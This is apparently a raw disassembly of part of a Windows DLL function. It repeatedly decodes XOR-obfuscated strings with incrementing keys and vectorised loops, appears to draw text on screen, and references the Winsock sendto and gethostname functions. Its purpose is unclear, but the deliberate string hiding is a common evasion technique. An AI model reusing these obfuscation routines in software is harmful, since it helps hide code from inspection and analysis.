mov eax, dword [str.sAYZD7]
lea rdx, [0x18023c088]
mov dword [rbp + 0x110], eax
lea rcx, [rbp + 0x110]
movzx eax, word [0x1801b7a68]
xor byte [rbp + 0x111], 0x33
xor byte [rbp + 0x112], 0x34
xor byte [rbp + 0x113], 0x35
mov word [rbp + 0x114], ax
xor al, 0x36
xor byte [rbp + 0x115], 0x37
mov byte [rbp + 0x114], al
mov byte [rbp + 0x110], 0x41
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x710]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x710], 0x44070000
movss dword [rbp + 0x714], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7a70]
lea rdx, [rbp + 0x718]
mov eax, dword [0x1801b7a6c]
mov r9d, 8
mov dword [rbp + 0x240], eax
xor r8d, r8d
movzx eax, byte [0x1801b7a72]
xor byte [rbp + 0x241], 0x33
xor al, 0x38
xor byte [rbp + 0x242], 0x34
xor byte [rbp + 0x243], 0x35
mov word [rbp + 0x244], cx
xor cl, 0x36
xor byte [rbp + 0x245], 0x37
mov byte [rbp + 0x244], cl
lea rcx, [rbp + 0x240]
mov dword [rbp + 0x718], 0x43a00000
mov dword [rbp + 0x71c], 0x4405c000
mov byte [rbp + 0x240], Ordinal_79
mov byte [rbp + 0x246], al
call fcn.18000fbb0
lea rcx, [rbp + 0x720]
call fcn.180016730
movzx eax, byte [0x1801b7a80]
lea rdx, [rbp + 0x728]
movsd xmm0, qword [0x1801b7a78]
lea rcx, [rbp + 0xed0]
movsd qword [rbp + 0xed0], xmm0
xor al, 0x3a
xor byte [rbp + 0xed1], 0x33
xor r9d, r9d
xor byte [rbp + 0xed2], 0x34
mov r8b, 1
xor byte [rbp + 0xed3], 0x35
xor byte [rbp + 0xed4], 0x36
xor byte [rbp + 0xed5], 0x37
xor byte [rbp + 0xed6], 0x38
xor byte [rbp + 0xed7], 0x39
mov byte [rbp + 0xed8], al
mov dword [rbp + 0x728], 0x43a00000
mov dword [rbp + 0x72c], 0x43ed8000
mov byte [rbp + 0xed0], 0x53
call fcn.180003bf0
movzx eax, byte [0x1801b7a90]
lea rdx, [0x18023c094]
movsd xmm0, qword [0x1801b7a88]
lea rcx, [rbp + 0xee0]
movsd qword [rbp + 0xee0], xmm0
xor al, 0x3a
xor byte [rbp + 0xee1], 0x33
xor byte [rbp + 0xee2], 0x34
xor byte [rbp + 0xee3], 0x35
xor byte [rbp + 0xee4], 0x36
xor byte [rbp + 0xee5], 0x37
xor byte [rbp + 0xee6], 0x38
xor byte [rbp + 0xee7], 0x39
mov byte [rbp + 0xee8], al
mov byte [rbp + 0xee0], 0x44
call fcn.1800031c0
cmp byte [0x1801b7aa3], sil
movsd xmm0, qword [0x1801b7a98]
mov eax, dword [0x1801b7aa0]
movsd qword [rbp + 0x1548], xmm0
mov dword [rbp + 0x1550], eax
je 0x180093c80
mov r8d, esi
cmp r12d, 2
jl 0x180093c42
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7a98]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1548], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x154c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x154c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1548]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180093c50
lea rdx, [0x18023c095]
lea rcx, [rbp + 0x1548]
call fcn.1800031c0
cmp byte [0x1801b7ab1], sil
lea rdx, [0x18023c011]
movsd xmm0, qword [0x1801b7aa8]
lea rcx, [rbp + 0x1120]
movzx eax, word [0x1801b7ab0]
movsd qword [rbp + 0x1120], xmm0
mov word [rbp + 0x1128], ax
je 0x180093d0e
xor byte [rbp + 0x1121], 0x33
xor byte [rbp + 0x1122], 0x34
xor byte [rbp + 0x1123], 0x35
xor byte [rbp + 0x1124], 0x36
xor byte [rbp + 0x1125], 0x37
xor byte [rbp + 0x1126], 0x38
xor byte [rbp + 0x1127], 0x39
xor byte [rbp + 0x1128], 0x3a
xor byte [rbp + 0x1129], 0x3b
mov byte [rbp + 0x1120], 0x44
call fcn.1800031c0
movsd xmm0, qword [0x1801b7ab8]
lea rdx, [0x18023c090]
movzx eax, byte [0x1801b7ac0]
lea rcx, [rbp + 0xef0]
movsd qword [rbp + 0xef0], xmm0
mov r9d, 0x9c4
xor byte [rbp + 0xef1], 0x33
xor byte [rbp + 0xef2], 0x34
xor byte [rbp + 0xef3], 0x35
xor byte [rbp + 0xef4], 0x36
xor byte [rbp + 0xef5], 0x37
xor byte [rbp + 0xef6], 0x38
xor byte [rbp + 0xef7], 0x39
xor al, 0x3a
mov byte [rbp + 0xef0], 0x44
mov byte [rbp + 0xef8], al
jmp 0x180095b54
cmp dword [0x1802402a4], 1
jne 0x18009431d
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x730]
addss xmm0, xmm7
mov dword [rbp + 0x730], 0x43520000
movss dword [rbp + 0x734], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7ac4]
lea rdx, [rbp + 0x738]
mov dword [rbp + 0x28], eax
lea rcx, [rbp + 0x28]
movzx eax, byte [0x1801b7ac8]
mov r9d, 8
xor byte [rbp + 0x29], 0x33
xor al, 0x36
xor byte [rbp + 0x2a], 0x34
xor r8d, r8d
xor byte [rbp + 0x2b], 0x35
mov byte [rbp + 0x2c], al
mov dword [rbp + 0x738], 0x43a50000
mov dword [rbp + 0x73c], 0x4405c000
mov byte [rbp + 0x28], Ordinal_79
call fcn.18000fbb0
mov eax, dword [0x1801b7acc]
lea rdx, [rbp + 0x740]
mov dword [rbp + 0x118], eax
lea rcx, [rbp + 0x118]
movzx eax, word [0x1801b7ad0]
xor r9d, r9d
xor byte [rbp + 0x119], 0x33
mov r8b, 1
xor byte [rbp + 0x11a], 0x34
xor byte [rbp + 0x11b], 0x35
mov word [rbp + 0x11c], ax
xor al, 0x36
xor byte [rbp + 0x11d], 0x37
mov byte [rbp + 0x11c], al
mov dword [rbp + 0x740], 0x43a00000
mov dword [rbp + 0x744], 0x43ed8000
mov byte [rbp + 0x118], 0x52
call fcn.180003bf0
mov eax, dword [str._RPTD7]
lea rdx, [0x18023c110]
mov dword [rbp + 0x120], eax
lea rcx, [rbp + 0x120]
movzx eax, word [0x1801b7ad8]
xor byte [rbp + 0x121], 0x33
xor byte [rbp + 0x122], 0x34
xor byte [rbp + 0x123], 0x35
mov word [rbp + 0x124], ax
xor al, 0x36
xor byte [rbp + 0x125], 0x37
mov byte [rbp + 0x124], al
mov byte [rbp + 0x120], 0x52
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x748]
addss xmm0, xmm7
mov dword [rbp + 0x748], 0x44070000
movss dword [rbp + 0x74c], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7adc]
lea rdx, [rbp + 0x750]
movzx ecx, word [0x1801b7ae0]
mov r9d, 8
mov dword [rbp + 0x248], eax
movzx eax, byte [0x1801b7ae2]
xor byte [rbp + 0x249], 0x33
xor al, 0x38
xor byte [rbp + 0x24a], 0x34
xor byte [rbp + 0x24b], 0x35
mov word [rbp + 0x24c], cx
xor cl, 0x36
xor byte [rbp + 0x24d], 0x37
mov byte [rbp + 0x24e], al
xor r8d, r8d
mov dword [rbp + 0x750], 0x43a00000
mov dword [rbp + 0x754], 0x4405c000
mov byte [rbp + 0x248], Ordinal_79
mov byte [rbp + 0x24c], cl
lea rcx, [rbp + 0x248]
call fcn.18000fbb0
lea rcx, [rbp + 0x758]
call fcn.180016730
movzx eax, byte [0x1801b7af0]
lea rdx, [rbp + 0x760]
movsd xmm0, qword [0x1801b7ae8]
lea rcx, [rbp + 0xf00]
movsd qword [rbp + 0xf00], xmm0
xor al, 0x3a
xor byte [rbp + 0xf01], 0x33
xor r9d, r9d
xor byte [rbp + 0xf02], 0x34
mov r8b, 1
xor byte [rbp + 0xf03], 0x35
xor byte [rbp + 0xf04], 0x36
xor byte [rbp + 0xf05], 0x37
xor byte [rbp + 0xf06], 0x38
xor byte [rbp + 0xf07], 0x39
mov byte [rbp + 0xf08], al
mov dword [rbp + 0x760], 0x43a00000
mov dword [rbp + 0x764], 0x43ed8000
mov byte [rbp + 0xf00], 0x53
call fcn.180003bf0
movzx eax, byte [0x1801b7b00]
lea rdx, [0x18023c112]
movsd xmm0, qword [0x1801b7af8]
lea rcx, [rbp + 0xf10]
movsd qword [rbp + 0xf10], xmm0
xor al, 0x3a
xor byte [rbp + 0xf11], 0x33
xor byte [rbp + 0xf12], 0x34
xor byte [rbp + 0xf13], 0x35
xor byte [rbp + 0xf14], 0x36
xor byte [rbp + 0xf15], 0x37
xor byte [rbp + 0xf16], 0x38
xor byte [rbp + 0xf17], 0x39
mov byte [rbp + 0xf18], al
mov byte [rbp + 0xf10], 0x44
call fcn.1800031c0
cmp byte [0x1801b7b13], sil
movsd xmm0, qword [0x1801b7b08]
mov eax, dword [0x1801b7b10]
movsd qword [rbp + 0x1558], xmm0
mov dword [rbp + 0x1560], eax
je 0x1800941e0
mov r8d, esi
cmp r12d, 2
jl 0x1800941a2
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7b08]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1558], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x155c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x155c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1558]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800941b0
lea rdx, [0x18023c111]
lea rcx, [rbp + 0x1558]
call fcn.1800031c0
cmp byte [0x1801b7b21], sil
lea rdx, [0x18023c118]
movsd xmm0, qword [0x1801b7b18]
lea rcx, [rbp + 0xf50]
movzx eax, word [0x1801b7b20]
movsd qword [rbp + 0xf50], xmm0
mov word [rbp + 0xf58], ax
je 0x18009426e
xor byte [rbp + 0xf51], 0x33
xor byte [rbp + 0xf52], 0x34
xor byte [rbp + 0xf53], 0x35
xor byte [rbp + 0xf54], 0x36
xor byte [rbp + 0xf55], 0x37
xor byte [rbp + 0xf56], 0x38
xor byte [rbp + 0xf57], 0x39
xor byte [rbp + 0xf58], 0x3a
xor byte [rbp + 0xf59], 0x3b
mov byte [rbp + 0xf50], 0x44
call fcn.1800031c0
movzx eax, word [0x1801b7b30]
lea rdx, [0x18023c114]
movsd xmm0, qword [str._RPTD]
lea rcx, [rbp + 0x1380]
movss xmm2, dword [0x1801a17bc]
movaps xmm3, xmm11
movsd qword [rbp + 0x1380], xmm0
xor byte [rbp + 0x1381], 0x33
xor byte [rbp + 0x1382], 0x34
xor byte [rbp + 0x1383], 0x35
xor byte [rbp + 0x1384], 0x36
xor byte [rbp + 0x1385], 0x37
xor byte [rbp + 0x1386], 0x38
xor byte [rbp + 0x1387], 0x39
mov word [rbp + 0x1388], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1388], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1389], 0x3b
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x138a], al
mov byte [rbp + 0x1380], 0x52
mov qword [rsp + 0x20], rdi
call fcn.180008d40
call fcn.180006b10
call fcn.180013c40
jmp 0x180095b7b
cmp dword [0x1802402a4], 2
jne 0x180094a80
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x768]
addss xmm0, xmm7
mov dword [rbp + 0x768], 0x43520000
movss dword [rbp + 0x76c], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7b34]
lea rdx, [rbp + 0x770]
mov dword [rbp + 0x30], eax
lea rcx, [rbp + 0x30]
movzx eax, byte [0x1801b7b38]
mov r9d, 8
xor byte [rbp + 0x31], 0x33
xor al, 0x36
xor byte [rbp + 0x32], 0x34
xor r8d, r8d
xor byte [rbp + 0x33], 0x35
mov byte [rbp + 0x34], al
mov dword [rbp + 0x770], 0x43a50000
mov dword [rbp + 0x774], 0x4405c000
mov byte [rbp + 0x30], Ordinal_79
call fcn.18000fbb0
mov eax, dword [0x1801b7b3c]
lea rdx, [rbp + 0x778]
mov dword [rbp + 0x128], eax
lea rcx, [rbp + 0x128]
movzx eax, word [0x1801b7b40]
xor r9d, r9d
xor byte [rbp + 0x129], 0x33
mov r8b, 1
xor byte [rbp + 0x12a], 0x34
xor byte [rbp + 0x12b], 0x35
mov word [rbp + 0x12c], ax
xor al, 0x36
xor byte [rbp + reloc.WLDAP32.dll_Ordinal_301], 0x37
mov byte [rbp + 0x12c], al
mov dword [rbp + 0x778], 0x43a00000
mov dword [rbp + 0x77c], 0x43ed8000
mov byte [rbp + 0x128], 0x41
call fcn.180003bf0
mov eax, dword [str.sAFZA7]
lea rdx, [0x18023c0a8]
mov dword [rbp + 0x130], eax
lea rcx, [rbp + 0x130]
movzx eax, word [0x1801b7b48]
xor byte [rbp + 0x131], 0x33
xor byte [rbp + 0x132], 0x34
xor byte [rbp + 0x133], 0x35
mov word [rbp + 0x134], ax
xor al, 0x36
xor byte [rbp + 0x135], 0x37
mov byte [rbp + 0x134], al
mov byte [rbp + 0x130], 0x41
call fcn.1800031c0
mov eax, dword [str.__7F]
mov r8d, esi
movdqa xmm6, xmmword [0x1801bab60]
mov dword [rbp + 0x2440], eax
movzx eax, byte [0x1801b7b64]
mov byte [rbp + 0x2444], al
movups xmm0, xmmword [0x1801b7b50]
movups xmmword [rbp + 0x2430], xmm0
cmp r12d, 2
jl 0x1800945b1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2434]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800944c0
cmp r8d, 0x15
jge 0x1800945f0
movsxd rax, r8d
lea r9, [rbp + 0x2430]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800945c0
lea rdx, [0x18023c0a9]
lea rcx, [rbp + 0x2430]
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x780]
addss xmm0, xmm7
mov dword [rbp + 0x780], 0x44070000
movss dword [rbp + 0x784], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7b6c]
lea rdx, [rbp + 0x788]
mov eax, dword [0x1801b7b68]
mov r9d, 8
mov dword [rbp + 0x250], eax
xor r8d, r8d
movzx eax, byte [0x1801b7b6e]
xor byte [rbp + 0x251], 0x33
xor al, 0x38
xor byte [rbp + 0x252], 0x34
xor byte [rbp + 0x253], 0x35
mov word [rbp + 0x254], cx
xor cl, 0x36
xor byte [rbp + 0x255], 0x37
mov byte [rbp + 0x254], cl
lea rcx, [rbp + 0x250]
mov dword [rbp + 0x788], 0x43a00000
mov dword [rbp + 0x78c], 0x4405c000
mov byte [rbp + 0x250], Ordinal_79
mov byte [rbp + 0x256], al
call fcn.18000fbb0
lea rcx, [rbp + 0x790]
call fcn.180016730
movzx eax, byte [0x1801b7b78]
lea rdx, [rbp + 0x798]
movsd xmm0, qword [0x1801b7b70]
lea rcx, [rbp + 0xf20]
movsd qword [rbp + 0xf20], xmm0
xor al, 0x3a
xor byte [rbp + 0xf21], 0x33
xor r9d, r9d
xor byte [rbp + 0xf22], 0x34
mov r8b, 1
xor byte [rbp + 0xf23], 0x35
xor byte [rbp + 0xf24], 0x36
xor byte [rbp + 0xf25], 0x37
xor byte [rbp + 0xf26], 0x38
xor byte [rbp + 0xf27], 0x39
mov byte [rbp + 0xf28], al
mov dword [rbp + 0x798], 0x43a00000
mov dword [rbp + 0x79c], 0x43ed8000
mov byte [rbp + 0xf20], 0x53
call fcn.180003bf0
movzx eax, byte [0x1801b7b88]
lea rdx, [0x18023c0c4]
movsd xmm0, qword [0x1801b7b80]
lea rcx, [rbp + 0xf30]
movsd qword [rbp + 0xf30], xmm0
xor al, 0x3a
xor byte [rbp + 0xf31], 0x33
xor byte [rbp + 0xf32], 0x34
xor byte [rbp + 0xf33], 0x35
xor byte [rbp + 0xf34], 0x36
xor byte [rbp + 0xf35], 0x37
xor byte [rbp + 0xf36], 0x38
xor byte [rbp + 0xf37], 0x39
mov byte [rbp + 0xf38], al
mov byte [rbp + 0xf30], 0x44
call fcn.1800031c0
cmp byte [0x1801b7b9b], sil
movsd xmm0, qword [0x1801b7b90]
mov eax, dword [0x1801b7b98]
movsd qword [rbp + 0x1568], xmm0
mov dword [rbp + 0x1570], eax
je 0x180094910
mov r8d, esi
cmp r12d, 2
jl 0x1800948ca
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7b90]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1568], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x156c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x156c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1568]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800948e0
lea rdx, [0x18023c0c5]
lea rcx, [rbp + 0x1568]
call fcn.1800031c0
cmp byte [0x1801b7ba9], sil
lea rdx, [0x18023c0c6]
movsd xmm0, qword [str.vAUB]
lea rcx, [rbp + 0xf60]
movzx eax, word [0x1801b7ba8]
movsd qword [rbp + 0xf60], xmm0
mov word [rbp + 0xf68], ax
je 0x18009499e
xor byte [rbp + 0xf61], 0x33
xor byte [rbp + 0xf62], 0x34
xor byte [rbp + 0xf63], 0x35
xor byte [rbp + 0xf64], 0x36
xor byte [rbp + 0xf65], 0x37
xor byte [rbp + 0xf66], 0x38
xor byte [rbp + 0xf67], 0x39
xor byte [rbp + 0xf68], 0x3a
xor byte [rbp + 0xf69], 0x3b
mov byte [rbp + 0xf60], 0x44
call fcn.1800031c0
movzx eax, byte [0x1801b7bb8]
lea rdx, [0x18023c0bc]
movsd xmm0, qword [0x1801b7bb0]
lea rcx, [rbp + 0xf40]
movsd qword [rbp + 0xf40], xmm0
xor al, 0x3a
xor byte [rbp + 0xf41], 0x33
mov r9d, 0x3e8
xor byte [rbp + 0xf42], 0x34
mov r8d, 1
xor byte [rbp + 0xf43], 0x35
xor byte [rbp + 0xf44], 0x36
xor byte [rbp + 0xf45], 0x37
xor byte [rbp + 0xf46], 0x38
xor byte [rbp + 0xf47], 0x39
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xf48], al
mov byte [rbp + 0xf40], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008db0
mov eax, dword [str.aPUYS7]
lea rdx, [0x18023c0c0]
mov dword [rbp + 0x138], eax
lea rcx, [rbp + 0x138]
movzx eax, word [0x1801b7bc0]
mov r9d, reloc.WS2_32.dll_sendto
xor byte [rbp + 0x139], 0x33
xor byte [rbp + 0x13a], 0x34
xor byte [rbp + 0x13b], 0x35
mov word [rbp + 0x13c], ax
xor al, 0x36
xor byte [rbp + 0x13d], 0x37
mov byte [rbp + 0x13c], al
mov byte [rbp + 0x138], 0x53
jmp 0x180095b54
cmp dword [0x1802402a4], 3
jne 0x1800951b0
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x7a0]
addss xmm0, xmm7
mov dword [rbp + 0x7a0], 0x43520000
movss dword [rbp + 0x7a4], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7bc4]
lea rdx, [rbp + 0x7a8]
mov dword [rbp + 0x38], eax
lea rcx, [rbp + 0x38]
movzx eax, byte [0x1801b7bc8]
mov r9d, 8
xor byte [rbp + 0x39], 0x33
xor al, 0x36
xor byte [rbp + 0x3a], 0x34
xor r8d, r8d
xor byte [rbp + 0x3b], 0x35
mov byte [rbp + 0x3c], al
mov dword [rbp + 0x7a8], 0x43a50000
mov dword [rbp + 0x7ac], 0x4405c000
mov byte [rbp + 0x38], Ordinal_79
call fcn.18000fbb0
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dVU__9qRF]
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x7b0], 0x43a00000
mov dword [rbp + 0x7b4], 0x43ed8000
je 0x180094c80
cmp r12d, 2
jl 0x180094c3d
movdqa xmm6, xmmword [0x1801bab60]
lea rdx, [rbp + 0x7b0]
movd eax, xmm9
lea rcx, [rbp + 0x7b8]
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
xor r9d, r9d
punpckldq xmm1, xmm6
mov r8b, 1
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x7b8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x7b8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x7bc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7bc], xmm2
call fcn.180003bf0
jmp 0x180094ca1
lea r9, [rbp + 0x7b8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180094c50
xor r9d, r9d
lea rdx, [rbp + 0x7b0]
mov r8b, 1
lea rcx, [rbp + 0x7b8]
call fcn.180003bf0
movdqa xmm6, xmmword [0x1801bab60]
mov eax, dword [0x1801b7be0]
mov r8d, esi
movsd xmm0, qword [0x1801b7bd8]
mov dword [rbp + 0x1778], eax
movzx eax, byte [0x1801b7be4]
mov byte [rbp + 0x177c], al
movsd qword [rbp + 0x1770], xmm0
cmp r12d, 2
jl 0x180094db5
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7bd8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1770], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1774]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1774], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1770]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180094dd0
lea rdx, [0x18023c108]
lea rcx, [rbp + 0x1770]
call fcn.1800031c0
